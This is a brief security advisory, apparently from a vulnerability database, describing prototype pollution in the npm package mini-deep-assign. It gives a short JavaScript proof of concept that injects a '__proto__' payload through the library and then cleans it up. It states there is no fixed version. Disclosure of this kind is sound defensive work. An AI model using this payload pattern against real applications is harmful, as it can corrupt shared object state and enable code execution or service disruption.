mini-deep-assign is a Like Object.assign(), but recursive
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources through the _assign method. An attacker can execute arbitrary code or disrupt service by manipulating object properties.
_assign
(async () => { const lib = await import('mini-deep-assign'); var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}'); var victim = {} console.log("Before Attack: ", JSON.stringify(victim.__proto__)); try { lib.default ({}, BAD_JSON) } catch (e) { } console.log("After Attack: ", JSON.stringify(victim.__proto__)); delete Object.prototype.polluted; })();
There is no fixed version for mini-deep-assign.
mini-deep-assign